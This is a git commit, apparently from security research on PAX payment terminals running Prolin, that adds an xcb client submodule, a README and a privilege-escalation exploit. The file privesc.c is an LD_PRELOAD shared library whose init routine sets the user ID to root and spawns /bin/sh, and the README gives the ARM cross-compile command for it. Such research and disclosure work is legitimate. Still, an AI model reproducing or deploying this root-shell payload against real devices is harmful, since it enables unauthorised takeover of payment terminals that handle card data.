Added privesc code and xcb-client

This commit is contained in:
Giulio 2020-06-01 10:15:17 +02:00
parent 4ae897ecec
commit 499c1e91e8
4 changed files with 30 additions and 0 deletions

3
.gitmodules vendored Normal file
View File

@ -0,0 +1,3 @@
[submodule "code/prolin-xcb-client"]
path = code/prolin-xcb-client
url = https://git.lsd.cat/g/prolin-xcb-client

12
code/Readme.md Normal file
View File

@ -0,0 +1,12 @@
## prolin-xcb-tools
Python-ADB fork in order to communicate with the Pax `xcbd` daemon. Supports natively directory listing, reading and writing. Port forwarding may be done trough the original `xcb` client.
## privesc.c
The shared library used for privilege escalation.
Compile with:
```
arm-none-eabi-gcc -shared -fPIC -o privesc.so privesc.c -nostartfiles -static
```

14
code/privesc.c Normal file
View File

@ -0,0 +1,14 @@
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
int _init() {
unsetenv("LD_PRELOAD");
puts("LD_PRELOAD is working!");
setreuid(0, 0);
setuid(0);
printf("UID: %d. EUID: %d.\n", getuid(), geteuid());
system("/bin/sh");
exit(0);
}

@ -0,0 +1 @@
Subproject commit 8d00509ab221200388da9be68f406c7982f9cf60